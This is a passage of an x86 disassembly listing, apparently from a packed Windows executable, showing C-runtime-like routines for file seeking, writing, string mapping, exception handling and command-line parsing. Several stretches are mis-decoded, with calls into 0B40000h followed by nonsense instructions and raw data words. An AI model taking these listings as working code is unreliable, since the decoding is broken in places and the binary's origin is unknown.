[ebp+var_24] push eax call sub_4248AA pop ecx mov ecx, [ebp+arg_0] test eax, eax jz short loc_422559 loc_422553: ; CODE XREF: sub_4224A1+90j add ecx, dword_442F20 loc_422559: ; CODE XREF: sub_4224A1+96j ; sub_4224A1+9Fj ... mov eax, ecx jmp short loc_422560 ; --------------------------------------------------------------------------- loc_42255D: ; CODE XREF: sub_4224A1+13j ; sub_4224A1+1Fj or eax, 0FFFFFFFFh loc_422560: ; CODE XREF: sub_4224A1+BAj pop ebx leave retn sub_4224A1 endp ; =============== S U B R O U T I N E ======================================= sub_422563 proc near ; DATA XREF: .nsp0:0042902Co mov eax, dword_4E2940 push esi push 14h test eax, eax pop esi jnz short loc_422577 mov eax, 200h jmp short loc_42257D ; --------------------------------------------------------------------------- loc_422577: ; CODE XREF: sub_422563+Bj cmp eax, esi jge short loc_422582 mov eax, esi loc_42257D: ; CODE XREF: sub_422563+12j mov dword_4E2940, eax loc_422582: ; CODE XREF: sub_422563+16j push 4 push eax call sub_424B96 pop ecx mov dword_4E1924, eax test eax, eax pop ecx jnz short loc_4225B6 push 4 push esi mov dword_4E2940, esi call sub_424B96 pop ecx mov dword_4E1924, eax test eax, eax pop ecx jnz short loc_4225B6 push 1Ah call sub_41E0F9 pop ecx loc_4225B6: ; CODE XREF: sub_422563+30j ; sub_422563+49j xor ecx, ecx mov eax, offset off_442B38 loc_4225BD: ; CODE XREF: sub_422563+6Ej mov edx, dword_4E1924 mov [ecx+edx], eax add eax, 20h add ecx, 4 cmp eax, offset dword_442DB8 jl short loc_4225BD xor edx, edx mov ecx, offset dword_442B48 loc_4225DA: ; CODE XREF: sub_422563+A1j mov eax, edx mov esi, edx sar eax, 5 and esi, 1Fh mov eax, dword_4E1820[eax*4] mov eax, [eax+esi*8] cmp eax, 0FFFFFFFFh jz short loc_4225F7 test eax, eax jnz short loc_4225FA loc_4225F7: ; CODE XREF: sub_422563+8Ej or dword ptr [ecx], 0FFFFFFFFh loc_4225FA: ; CODE XREF: sub_422563+92j add ecx, 20h inc edx cmp ecx, offset dword_442BA8 jl short loc_4225DA pop esi retn sub_422563 endp ; =============== S U B R O U T I N E ======================================= sub_422608 proc near ; DATA XREF: .nsp0:0042903Co ; FUNCTION CHUNK AT 00424C13 SIZE 00000058 BYTES call sub_41E2B7 cmp byte_4E1538, 0 jz short locret_42261B jmp loc_424C13 ; --------------------------------------------------------------------------- locret_42261B: ; CODE XREF: sub_422608+Cj retn sub_422608 endp ; =============== S U B R O U T I N E ======================================= sub_42261C proc near ; CODE XREF: .nsp0:0041D924p ; sub_41EF81+1A2p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] push ebx cmp eax, dword_4E1920 push esi push edi jnb short loc_42269E mov ecx, eax mov esi, eax sar ecx, 5 and esi, 1Fh lea edi, ds:4E1820h[ecx*4] shl esi, 3 mov ecx, [edi] test byte ptr [ecx+esi+4], 1 jz short loc_42269E push eax call sub_4237BE cmp eax, 0FFFFFFFFh pop ecx jnz short loc_422660 mov dword_4E14F8, 9 jmp short loc_4226AF ; --------------------------------------------------------------------------- loc_422660: ; CODE XREF: sub_42261C+36j push [esp+0Ch+arg_8] push 0 push [esp+14h+arg_4] push eax call dword_427120 ; SetFilePointer mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_422680 call dword_42708C ; RtlGetLastWin32Error jmp short loc_422682 ; --------------------------------------------------------------------------- loc_422680: ; CODE XREF: sub_42261C+5Aj xor eax, eax loc_422682: ; CODE XREF: sub_42261C+62j test eax, eax jz short loc_42268F push eax call sub_420244 pop ecx jmp short loc_4226AF ; --------------------------------------------------------------------------- loc_42268F: ; CODE XREF: sub_42261C+68j mov eax, [edi] and byte ptr [eax+esi+4], 0FDh lea eax, [eax+esi+4] mov eax, ebx jmp short loc_4226B2 ; --------------------------------------------------------------------------- loc_42269E: ; CODE XREF: sub_42261C+Dj ; sub_42261C+2Aj and dword_4E14FC, 0 mov dword_4E14F8, 9 loc_4226AF: ; CODE XREF: sub_42261C+42j ; sub_42261C+71j or eax, 0FFFFFFFFh loc_4226B2: ; CODE XREF: sub_42261C+80j pop edi pop esi pop ebx retn sub_42261C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4226B6 proc near ; CODE XREF: .nsp0:0041D8E7p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov edi, [ebp+arg_0] xor ebx, ebx mov esi, [edi+10h] cmp [edi+4], ebx mov [ebp+var_C], esi jge short loc_4226D2 mov [edi+4], ebx loc_4226D2: ; CODE XREF: sub_4226B6+17j push 1 push ebx push esi call sub_42261C add esp, 0Ch cmp eax, ebx mov [ebp+var_4], eax jl short loc_422740 mov edx, [edi+0Ch] test dx, 108h jnz short loc_4226F7 sub eax, [edi+4] jmp loc_422809 ; --------------------------------------------------------------------------- loc_4226F7: ; CODE XREF: sub_4226B6+37j mov eax, [edi] mov ecx, [edi+8] mov ebx, eax sub ebx, ecx test dl, 3 mov [ebp+var_8], ebx jz short loc_422731 mov edx, esi mov ebx, esi sar edx, 5 and ebx, 1Fh mov edx, dword_4E1820[edx*4] test byte ptr [edx+ebx*8+4], 80h jz short loc_422748 mov edx, ecx loc_422722: ; CODE XREF: sub_4226B6+79j cmp edx, eax jnb short loc_422748 cmp byte ptr [edx], 0Ah jnz short loc_42272E inc [ebp+var_8] loc_42272E: ; CODE XREF: sub_4226B6+73j inc edx jmp short loc_422722 ; --------------------------------------------------------------------------- loc_422731: ; CODE XREF: sub_4226B6+50j test dl, 80h jnz short loc_422748 mov dword_4E14F8, 16h loc_422740: ; CODE XREF: sub_4226B6+2Dj or eax, 0FFFFFFFFh jmp loc_422809 ; --------------------------------------------------------------------------- loc_422748: ; CODE XREF: sub_4226B6+68j ; sub_4226B6+6Ej ... cmp [ebp+var_4], 0 jnz short loc_422756 mov eax, [ebp+var_8] jmp loc_422809 ; --------------------------------------------------------------------------- loc_422756: ; CODE XREF: sub_4226B6+96j test byte ptr [edi+0Ch], 1 jz loc_422801 mov edx, [edi+4] test edx, edx jnz short loc_42276F and [ebp+var_8], edx jmp loc_422801 ; --------------------------------------------------------------------------- loc_42276F: ; CODE XREF: sub_4226B6+AFj sub eax, ecx add eax, edx mov [ebp+arg_0], eax mov eax, esi sar eax, 5 and esi, 1Fh lea ebx, ds:4E1820h[eax*4] shl esi, 3 mov eax, [ebx] test byte ptr [esi+eax+4], 80h jz short loc_4227FB push 2 push 0 push [ebp+var_C] call sub_42261C add esp, 0Ch cmp eax, [ebp+var_4] jnz short loc_4227C2 mov eax, [edi+8] mov ecx, [ebp+arg_0] add ecx, eax loc_4227AD: ; CODE XREF: sub_4226B6+104j cmp eax, ecx jnb short loc_4227BC cmp byte ptr [eax], 0Ah jnz short loc_4227B9 inc [ebp+arg_0] loc_4227B9: ; CODE XREF: sub_4226B6+FEj inc eax jmp short loc_4227AD ; --------------------------------------------------------------------------- loc_4227BC: ; CODE XREF: sub_4226B6+F9j test byte ptr [edi+0Dh], 20h jmp short loc_4227F6 ; --------------------------------------------------------------------------- loc_4227C2: ; CODE XREF: sub_4226B6+EDj push 0 push [ebp+var_4] push [ebp+var_C] call sub_42261C mov eax, 200h add esp, 0Ch cmp [ebp+arg_0], eax ja short loc_4227E9 mov ecx, [edi+0Ch] test cl, 8 jz short loc_4227E9 test ch, 4 jz short loc_4227EC loc_4227E9: ; CODE XREF: sub_4226B6+124j ; sub_4226B6+12Cj mov eax, [edi+18h] loc_4227EC: ; CODE XREF: sub_4226B6+131j mov [ebp+arg_0], eax mov eax, [ebx] test byte ptr [esi+eax+4], 4 loc_4227F6: ; CODE XREF: sub_4226B6+10Aj jz short loc_4227FB inc [ebp+arg_0] loc_4227FB: ; CODE XREF: sub_4226B6+D9j ; sub_4226B6:loc_4227F6j mov eax, [ebp+arg_0] sub [ebp+var_4], eax loc_422801: ; CODE XREF: sub_4226B6+A4j ; sub_4226B6+B4j mov eax, [ebp+var_8] mov ecx, [ebp+var_4] add eax, ecx loc_422809: ; CODE XREF: sub_4226B6+3Cj ; sub_4226B6+8Dj ... pop edi pop esi pop ebx leave retn sub_4226B6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42280E proc near ; CODE XREF: sub_41D984+A2p ; sub_41E25B+2Cp ... var_414 = byte ptr -414h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 414h mov ecx, [ebp+arg_0] push ebx cmp ecx, dword_4E1920 push esi push edi jnb loc_4229A2 mov eax, ecx mov esi, ecx sar eax, 5 and esi, 1Fh lea ebx, ds:4E1820h[eax*4] shl esi, 3 mov eax, [ebx] mov al, [eax+esi+4] test al, 1 jz loc_4229A2 xor edi, edi cmp [ebp+arg_8], edi mov [ebp+var_8], edi mov [ebp+var_10], edi jnz short loc_42285F loc_422858: ; CODE XREF: sub_42280E+177j xor eax, eax jmp loc_4229B6 ; --------------------------------------------------------------------------- loc_42285F: ; CODE XREF: sub_42280E+48j test al, 20h jz short loc_42286F push 2 push edi push ecx call sub_42261C add esp, 0Ch loc_42286F: ; CODE XREF: sub_42280E+53j mov eax, [ebx] add eax, esi test byte ptr [eax+4], 80h jz loc_42293E mov eax, [ebp+arg_4] cmp [ebp+arg_8], edi mov [ebp+var_4], eax mov [ebp+arg_0], edi jbe loc_422976 loc_42288F: ; CODE XREF: sub_42280E+F5j lea eax, [ebp+var_414] loc_422895: ; CODE XREF: sub_42280E+B9j mov ecx, [ebp+var_4] sub ecx, [ebp+arg_4] cmp ecx, [ebp+arg_8] jnb short loc_4228C9 mov ecx, [ebp+var_4] inc [ebp+var_4] mov cl, [ecx] cmp cl, 0Ah jnz short loc_4228B4 inc [ebp+var_10] mov byte ptr [eax], 0Dh inc eax loc_4228B4: ; CODE XREF: sub_42280E+9Dj mov [eax], cl inc eax mov ecx, eax lea edx, [ebp+var_414] sub ecx, edx cmp ecx, 400h jl short loc_422895 loc_4228C9: ; CODE XREF: sub_42280E+90j mov edi, eax lea eax, [ebp+var_414] sub edi, eax lea eax, [ebp+var_C] push 0 push eax lea eax, [ebp+var_414] push edi push eax mov eax, [ebx] push dword ptr [eax+esi] call near ptr 0B40000h leave test eax, eax jz short loc_422933 mov eax, [ebp+var_C] add [ebp+var_8], eax cmp eax, edi jl short loc_422905 mov eax, [ebp+var_4] sub eax, [ebp+arg_4] cmp eax, [ebp+arg_8] jb short loc_42288F loc_422905: ; CODE XREF: sub_42280E+EAj ; sub_42280E+12Ej xor edi, edi loc_422907: ; CODE XREF: sub_42280E+150j ; sub_42280E+15Bj mov eax, [ebp+var_8] cmp eax, edi jnz loc_42299D cmp [ebp+arg_0], edi jz short loc_422976 push 5 pop eax cmp [ebp+arg_0], eax jnz short loc_42296B mov dword_4E14F8, 9 mov dword_4E14FC, eax jmp loc_4229B3 ; --------------------------------------------------------------------------- loc_422933: ; CODE XREF: sub_42280E+E0j call dword_42708C ; RtlGetLastWin32Error mov [ebp+arg_0], eax jmp short loc_422905 ; --------------------------------------------------------------------------- loc_42293E: ; CODE XREF: sub_42280E+69j lea ecx, [ebp+var_C] push edi push ecx push [ebp+arg_8] push [ebp+arg_4] push dword ptr [eax] call near ptr 0B40000h add al, 85h sal byte ptr [ebx+ecx-75h], 45h hlt ; --------------------------------------------------------------------------- mov [ebp+arg_0], edi mov [ebp+var_8], eax jmp short loc_422907 ; --------------------------------------------------------------------------- call dword_42708C ; RtlGetLastWin32Error mov [ebp+arg_0], eax jmp short loc_422907 ; --------------------------------------------------------------------------- loc_42296B: ; CODE XREF: sub_42280E+10Fj push [ebp+arg_0] call sub_420244 pop ecx jmp short loc_4229B3 ; --------------------------------------------------------------------------- loc_422976: ; CODE XREF: sub_42280E+7Bj ; sub_42280E+107j mov eax, [ebx] test byte ptr [eax+esi+4], 40h jz short loc_42298B mov eax, [ebp+arg_4] cmp byte ptr [eax], 1Ah jz loc_422858 loc_42298B: ; CODE XREF: sub_42280E+16Fj mov dword_4E14F8, 1Ch mov dword_4E14FC, edi jmp short loc_4229B3 ; --------------------------------------------------------------------------- loc_42299D: ; CODE XREF: sub_42280E+FEj sub eax, [ebp+var_10] jmp short loc_4229B6 ; --------------------------------------------------------------------------- loc_4229A2: ; CODE XREF: sub_42280E+15j ; sub_42280E+37j and dword_4E14FC, 0 mov dword_4E14F8, 9 loc_4229B3: ; CODE XREF: sub_42280E+120j ; sub_42280E+166j ... or eax, 0FFFFFFFFh loc_4229B6: ; CODE XREF: sub_42280E+4Cj ; sub_42280E+192j pop edi pop esi pop ebx leave retn sub_42280E endp ; --------------------------------------------------------------------------- loc_4229BB: ; CODE XREF: sub_41DC7A+47p ; sub_41DC7A+74p ... push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427920 push offset sub_4233D4 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp-18h], esp xor edi, edi cmp dword_4E15CC, edi jnz short loc_422A31 push edi push edi push 1 pop ebx push ebx push offset dword_427918 mov esi, 100h push esi push edi call dword_427050 ; LCMapStringW test eax, eax jz short loc_422A0F mov dword_4E15CC, ebx jmp short loc_422A31 ; --------------------------------------------------------------------------- loc_422A0F: ; CODE XREF: .nsp0:00422A05j push edi push edi push ebx push offset dword_4D10A8 push esi push edi call near ptr 0B40000h xor [ebp+22840FC0h], al add [eax], eax add bh, al add eax, offset dword_4E15CC add al, [eax] ; --------------------------------------------------------------------------- db 0 db 0 ; --------------------------------------------------------------------------- loc_422A31: ; CODE XREF: .nsp0:004229E9j ; .nsp0:00422A0Dj cmp [ebp+14h], edi jle short loc_422A46 push dword ptr [ebp+14h] push dword ptr [ebp+10h] call sub_422BDF pop ecx pop ecx mov [ebp+14h], eax loc_422A46: ; CODE XREF: .nsp0:00422A34j mov eax, dword_4E15CC cmp eax, 2 jnz short loc_422A6D push dword ptr [ebp+1Ch] push dword ptr [ebp+18h] push dword ptr [ebp+14h] push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call near ptr 0B40000h dec eax jmp loc_422B4B ; --------------------------------------------------------------------------- loc_422A6D: ; CODE XREF: .nsp0:00422A4Ej cmp eax, 1 jnz loc_422B49 cmp [ebp+20h], edi jnz short loc_422A83 mov eax, dword_4E15C0 mov [ebp+20h], eax loc_422A83: ; CODE XREF: .nsp0:00422A79j push edi push edi push dword ptr [ebp+14h] push dword ptr [ebp+10h] mov eax, [ebp+24h] neg eax sbb eax, eax and eax, 8 inc eax push eax push dword ptr [ebp+20h] call dword_427184 ; MultiByteToWideChar mov ebx, eax mov [ebp-1Ch], ebx cmp ebx, edi jz loc_422B49 mov [ebp-4], edi lea eax, [ebx+ebx] add eax, 3 and al, 0FCh call sub_41C1D0 mov [ebp-18h], esp mov eax, esp mov [ebp-24h], eax or dword ptr [ebp-4], 0FFFFFFFFh jmp short loc_422ADE ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] xor edi, edi mov [ebp-24h], edi or dword ptr [ebp-4], 0FFFFFFFFh mov ebx, [ebp-1Ch] loc_422ADE: ; CODE XREF: .nsp0:00422AC9j cmp [ebp-24h], edi jz short loc_422B49 push ebx push dword ptr [ebp-24h] push dword ptr [ebp+14h] push dword ptr [ebp+10h] push 1 push dword ptr [ebp+20h] call dword_427184 ; MultiByteToWideChar test eax, eax jz short loc_422B49 push edi push edi push ebx push dword ptr [ebp-24h] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call dword_427050 ; LCMapStringW mov esi, eax mov [ebp-28h], esi cmp esi, edi jz short loc_422B49 test byte ptr [ebp+0Dh], 4 jz short loc_422B5D cmp [ebp+1Ch], edi jz loc_422BD8 cmp esi, [ebp+1Ch] jg short loc_422B49 push dword ptr [ebp+1Ch] push dword ptr [ebp+18h] push ebx push dword ptr [ebp-24h] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call dword_427050 ; LCMapStringW test eax, eax jnz loc_422BD8 loc_422B49: ; CODE XREF: .nsp0:00422A70j ; .nsp0:00422AA7j ... xor eax, eax loc_422B4B: ; CODE XREF: .nsp0:00422A68j ; .nsp0:00422BDAj lea esp, [ebp-38h] mov ecx, [ebp-10h] mov large fs:0, ecx pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_422B5D: ; CODE XREF: .nsp0:00422B1Bj mov dword ptr [ebp-4], 1 lea eax, [esi+esi] add eax, 3 and al, 0FCh call sub_41C1D0 mov [ebp-18h], esp mov ebx, esp mov [ebp-20h], ebx or dword ptr [ebp-4], 0FFFFFFFFh jmp short loc_422B91 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] xor edi, edi xor ebx, ebx or dword ptr [ebp-4], 0FFFFFFFFh mov esi, [ebp-28h] loc_422B91: ; CODE XREF: .nsp0:00422B7Dj cmp ebx, edi jz short loc_422B49 push esi push ebx push dword ptr [ebp-1Ch] push dword ptr [ebp-24h] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call dword_427050 ; LCMapStringW test eax, eax jz short loc_422B49 cmp [ebp+1Ch], edi push edi push edi jnz short loc_422BB8 push edi push edi jmp short loc_422BBE ; --------------------------------------------------------------------------- loc_422BB8: ; CODE XREF: .nsp0:00422BB2j push dword ptr [ebp+1Ch] push dword ptr [ebp+18h] loc_422BBE: ; CODE XREF: .nsp0:00422BB6j push esi push ebx push 220h push dword ptr [ebp+20h] call dword_427180 ; WideCharToMultiByte mov esi, eax cmp esi, edi jz loc_422B49 loc_422BD8: ; CODE XREF: .nsp0:00422B20j ; .nsp0:00422B43j mov eax, esi jmp loc_422B4B ; =============== S U B R O U T I N E ======================================= sub_422BDF proc near ; CODE XREF: .nsp0:00422A3Cp ; sub_425D2F+7Ep ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_4] mov eax, [esp+arg_0] test edx, edx push esi lea ecx, [edx-1] jz short loc_422BFC loc_422BEF: ; CODE XREF: sub_422BDF+1Bj cmp byte ptr [eax], 0 jz short loc_422BFC inc eax mov esi, ecx dec ecx test esi, esi jnz short loc_422BEF loc_422BFC: ; CODE XREF: sub_422BDF+Ej ; sub_422BDF+13j cmp byte ptr [eax], 0 pop esi jnz short loc_422C07 sub eax, [esp+arg_0] retn ; --------------------------------------------------------------------------- loc_422C07: ; CODE XREF: sub_422BDF+21j mov eax, edx retn sub_422BDF endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ebx push dword ptr [ebp+8] call sub_422D4B test eax, eax pop ecx jz loc_422D3F mov ebx, [eax+8] test ebx, ebx jz loc_422D3F cmp ebx, 5 jnz short loc_422C3B and dword ptr [eax+8], 0 push 1 pop eax jmp loc_422D48 ; --------------------------------------------------------------------------- loc_422C3B: ; CODE XREF: .nsp0:00422C2Dj cmp ebx, 1 jz loc_422D3A mov ecx, dword_4E15D0 mov [ebp+8], ecx mov ecx, [ebp+0Ch] mov dword_4E15D0, ecx mov ecx, [eax+4] cmp ecx, 8 jnz loc_422D2A mov ecx, dword_442E30 mov edx, dword_442E34 add edx, ecx push esi cmp ecx, edx jge short loc_422C8A lea esi, [ecx+ecx*2] sub edx, ecx lea esi, ds:442DC0h[esi*4] loc_422C81: ; CODE XREF: .nsp0:00422C88j and dword ptr [esi], 0 add esi, 0Ch dec edx jnz short loc_422C81 loc_422C8A: ; CODE XREF: .nsp0:00422C73j mov eax, [eax] mov esi, dword_442E3C cmp eax, 0C000008Eh jnz short loc_422CA5 mov dword_442E3C, 83h jmp short loc_422D15 ; --------------------------------------------------------------------------- loc_422CA5: ; CODE XREF: .nsp0:00422C97j cmp eax, 0C0000090h jnz short loc_422CB8 mov dword_442E3C, 81h jmp short loc_422D15 ; --------------------------------------------------------------------------- loc_422CB8: ; CODE XREF: .nsp0:00422CAAj cmp eax, 0C0000091h jnz short loc_422CCB mov dword_442E3C, 84h jmp short loc_422D15 ; --------------------------------------------------------------------------- loc_422CCB: ; CODE XREF: .nsp0:00422CBDj cmp eax, 0C0000093h jnz short loc_422CDE mov dword_442E3C, 85h jmp short loc_422D15 ; --------------------------------------------------------------------------- loc_422CDE: ; CODE XREF: .nsp0:00422CD0j cmp eax, 0C000008Dh jnz short loc_422CF1 mov dword_442E3C, 82h jmp short loc_422D15 ; --------------------------------------------------------------------------- loc_422CF1: ; CODE XREF: .nsp0:00422CE3j cmp eax, 0C000008Fh jnz short loc_422D04 mov dword_442E3C, 86h jmp short loc_422D15 ; --------------------------------------------------------------------------- loc_422D04: ; CODE XREF: .nsp0:00422CF6j cmp eax, 0C0000092h jnz short loc_422D15 mov dword_442E3C, 8Ah loc_422D15: ; CODE XREF: .nsp0:00422CA3j ; .nsp0:00422CB6j ... push dword_442E3C push 8 call ebx pop ecx mov dword_442E3C, esi pop ecx pop esi jmp short loc_422D32 ; --------------------------------------------------------------------------- loc_422D2A: ; CODE XREF: .nsp0:00422C5Cj and dword ptr [eax+8], 0 push ecx call ebx pop ecx loc_422D32: ; CODE XREF: .nsp0:00422D28j mov eax, [ebp+8] mov dword_4E15D0, eax loc_422D3A: ; CODE XREF: .nsp0:00422C3Ej or eax, 0FFFFFFFFh jmp short loc_422D48 ; --------------------------------------------------------------------------- loc_422D3F: ; CODE XREF: .nsp0:00422C19j ; .nsp0:00422C24j push dword ptr [ebp+0Ch] call dword_42704C ; UnhandledExceptionFilter loc_422D48: ; CODE XREF: .nsp0:00422C36j ; .nsp0:00422D3Dj pop ebx pop ebp retn ; =============== S U B R O U T I N E ======================================= sub_422D4B proc near ; CODE XREF: .nsp0:00422C11p arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov ecx, dword_442E38 cmp dword_442DB8, edx push esi mov eax, offset dword_442DB8 jz short loc_422D78 lea esi, [ecx+ecx*2] lea esi, ds:442DB8h[esi*4] loc_422D6D: ; CODE XREF: sub_422D4B+2Bj add eax, 0Ch cmp eax, esi jnb short loc_422D78 cmp [eax], edx jnz short loc_422D6D loc_422D78: ; CODE XREF: sub_422D4B+16j ; sub_422D4B+27j lea ecx, [ecx+ecx*2] pop esi lea ecx, ds:442DB8h[ecx*4] cmp eax, ecx jnb short loc_422D8B cmp [eax], edx jz short locret_422D8D loc_422D8B: ; CODE XREF: sub_422D4B+3Aj xor eax, eax locret_422D8D: ; CODE XREF: sub_422D4B+3Ej retn sub_422D4B endp ; --------------------------------------------------------------------------- cmp dword_4E2B8C, 0 jnz short loc_422D9C call sub_4200D2 loc_422D9C: ; CODE XREF: .nsp0:00422D95j push esi mov esi, dword_4E2B84 mov al, [esi] cmp al, 22h jnz short loc_422DCE loc_422DA9: ; CODE XREF: .nsp0:00422DC1j ; .nsp0:00422DC4j mov al, [esi+1] inc esi cmp al, 22h jz short loc_422DC6 test al, al jz short loc_422DC6 movzx eax, al push eax call sub_424C6B test eax, eax pop ecx jz short loc_422DA9 inc esi jmp short loc_422DA9 ; --------------------------------------------------------------------------- loc_422DC6: ; CODE XREF: .nsp0:00422DAFj ; .nsp0:00422DB3j cmp byte ptr [esi], 22h jnz short loc_422DD8 loc_422DCB: ; CODE XREF: .nsp0:00422DE0j inc esi jmp short loc_422DD8 ; --------------------------------------------------------------------------- loc_422DCE: ; CODE XREF: .nsp0:00422DA7j cmp al, 20h jbe short loc_422DD8 loc_422DD2: ; CODE XREF: .nsp0:00422DD6j inc esi cmp byte ptr [esi], 20h ja short loc_422DD2 loc_422DD8: ; CODE XREF: .nsp0:00422DC9j ; .nsp0:00422DCCj ... mov al, [esi] test al, al jz short loc_422DE2 cmp al, 20h jbe short loc_422DCB loc_422DE2: ; CODE XREF: .nsp0:00422DDCj mov eax, esi pop esi retn ; =============== S U B R O U T I N E ======================================= sub_422DE6 proc near push ebx xor ebx, ebx cmp dword_4E2B8C, ebx push esi push edi jnz short loc_422DF8 call sub_4200D2 loc_422DF8: ; CODE XREF: sub_422DE6+Bj mov esi, dword_4E1568 xor edi, edi loc_422E00: ; CODE XREF: sub_422DE6+30j mov al, [esi] cmp al, bl jz short loc_422E18 cmp al, 3Dh jz short loc_422E0B inc edi loc_422E0B: ; CODE XREF: sub_422DE6+22j push esi call sub_41B890 pop ecx lea esi, [esi+eax+1] jmp short loc_422E00 ; --------------------------------------------------------------------------- loc_422E18: ; CODE XREF: sub_422DE6+1Ej lea eax, ds:4[edi*4] push eax call sub_41BBCB mov esi, eax pop ecx cmp esi, ebx mov dword_4E1520, esi jnz short loc_422E3A push 9 call sub_41E0F9 pop ecx loc_422E3A: ; CODE XREF: sub_422DE6+4Aj mov edi, dword_4E1568 cmp [edi], bl jz short loc_422E7D push ebp loc_422E45: ; CODE XREF: sub_422DE6+94j push edi call sub_41B890 mov ebp, eax pop ecx inc ebp cmp byte ptr [edi], 3Dh jz short loc_422E76 push ebp call sub_41BBCB cmp eax, ebx pop ecx mov [esi], eax jnz short loc_422E69 push 9 call sub_41E0F9 pop ecx loc_422E69: ; CODE XREF: sub_422DE6+79j push edi push dword ptr [esi] call sub_41C550 pop ecx add esi, 4 pop ecx loc_422E76: ; CODE XREF: sub_422DE6+6Cj add edi, ebp cmp [edi], bl jnz short loc_422E45 pop ebp loc_422E7D: ; CODE XREF: sub_422DE6+5Cj push dword_4E1568 call sub_41B961 pop ecx mov dword_4E1568, ebx mov [esi], ebx pop edi pop esi mov dword_4E2B88, 1 pop ebx retn sub_422DE6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_422E9F proc near ; CODE XREF: .nsp0:0041E08Cp push ebp mov ebp, esp push ecx push ecx push ebx xor ebx, ebx cmp dword_4E2B8C, ebx push esi push edi jnz short loc_422EB6 call sub_4200D2 loc_422EB6: ; CODE XREF: sub_422E9F+10j mov esi, offset dword_4E15D4 push 104h push esi push ebx call near ptr 0B40000h jmp near ptr 4E6DB36Dh sub_422E9F endp ; --------------------------------------------------------------------------- dd 30358900h, 8B004E15h, 741838FEh, 8DF88B02h, 8D50F845h dd 5350FC45h, 4DE85753h, 8B000000h, 4D8BF845h, 88048DFCh dd 8CD1E850h, 0F08BFFFFh, 3B18C483h, 6A0875F3h, 0B1EFE808h dd 8D59FFFFh, 8D50F845h, 8B50FC45h, 48DFC45h, 57565086h dd 17E8h, 0FC458B00h, 4814C483h, 15183589h, 5E5F004Eh dd 4E1514A3h, 0C3C95B00h ; --------------------------------------------------------------------------- push ebp mov ebp, esp mov ecx, [ebp+18h] mov eax, [ebp+14h] push ebx push esi and dword ptr [ecx], 0 mov esi, [ebp+10h] push edi mov edi, [ebp+0Ch] mov dword ptr [eax], 1 mov eax, [ebp+8] test edi, edi jz short loc_422F62 mov [edi], esi add edi, 4 mov [ebp+0Ch], edi loc_422F62: ; CODE XREF: .nsp0:00422F58j cmp byte ptr [eax], 22h jnz short loc_422FAB loc_422F67: ; CODE XREF: .nsp0:00422F90j ; .nsp0:00422F97j mov dl, [eax+1] inc eax cmp dl, 22h jz short loc_422F99 test dl, dl jz short loc_422F99 movzx edx, dl test byte_4E2A61[edx], 4 jz short loc_422F8C inc dword ptr [ecx] test esi, esi jz short loc_422F8C mov dl, [eax] mov [esi], dl inc esi inc eax loc_422F8C: ; CODE XREF: .nsp0:00422F7Ej ; .nsp0:00422F84j inc dword ptr [ecx] test esi, esi jz short loc_422F67 mov dl, [eax] mov [esi], dl inc esi jmp short loc_422F67 ; --------------------------------------------------------------------------- loc_422F99: ; CODE XREF: .nsp0:00422F6Ej ; .nsp0:00422F72j inc dword ptr [ecx] test esi, esi jz short loc_422FA3 and byte ptr [esi], 0 inc esi loc_422FA3: ; CODE XREF: .nsp0:00422F9Dj cmp byte ptr [eax], 22h jnz short loc_422FEE inc eax jmp short loc_422FEE ; --------------------------------------------------------------------------- loc_422FAB: ; CODE XREF: .nsp0:00422F65j ; .nsp0:00422FDDj inc dword ptr [ecx] test esi, esi jz short loc_422FB6 mov dl, [eax] mov [esi], dl inc esi loc_422FB6: ; CODE XREF: .nsp0:00422FAFj mov dl, [eax] inc eax movzx ebx, dl test byte_4E2A61[ebx], 4 jz short loc_422FD1 inc dword ptr [ecx] test esi, esi jz short loc_422FD0 mov bl, [eax] mov [esi], bl inc esi loc_422FD0: ; CODE XREF: .nsp0:00422FC9j inc eax loc_422FD1: ; CODE XREF: .nsp0:00422FC3j cmp dl, 20h jz short loc_422FDF test dl, dl jz short loc_422FE3 cmp dl, 9 jnz short loc_422FAB loc_422FDF: ; CODE XREF: .nsp0:00422FD4j test dl, dl jnz short loc_422FE6 loc_422FE3: ; CODE XREF: .nsp0:00422FD8j dec eax jmp short loc_422FEE ; --------------------------------------------------------------------------- loc_422FE6: ; CODE XREF: .nsp0:00422FE1j test esi, esi jz short loc_422FEE and byte ptr [esi-1], 0 loc_422FEE: ; CODE XREF: .nsp0:00422FA6j ; .nsp0:00422FA9j ... and dword ptr [ebp+18h], 0 loc_422FF2: ; CODE XREF: .nsp0:004230D6j cmp byte ptr [eax], 0 jz loc_4230DB loc_422FFB: ; CODE XREF: .nsp0:00423008j mov dl, [eax] cmp dl, 20h jz short loc_423007 cmp dl, 9 jnz short loc_42300A loc_423007: ; CODE XREF: .nsp0:00423000j inc eax jmp short loc_422FFB ; --------------------------------------------------------------------------- loc_42300A: ; CODE XREF: .nsp0:00423005j cmp byte ptr [eax], 0 jz loc_4230DB test edi, edi jz short loc_42301F mov [edi], esi add edi, 4 mov [ebp+0Ch], edi loc_42301F: ; CODE 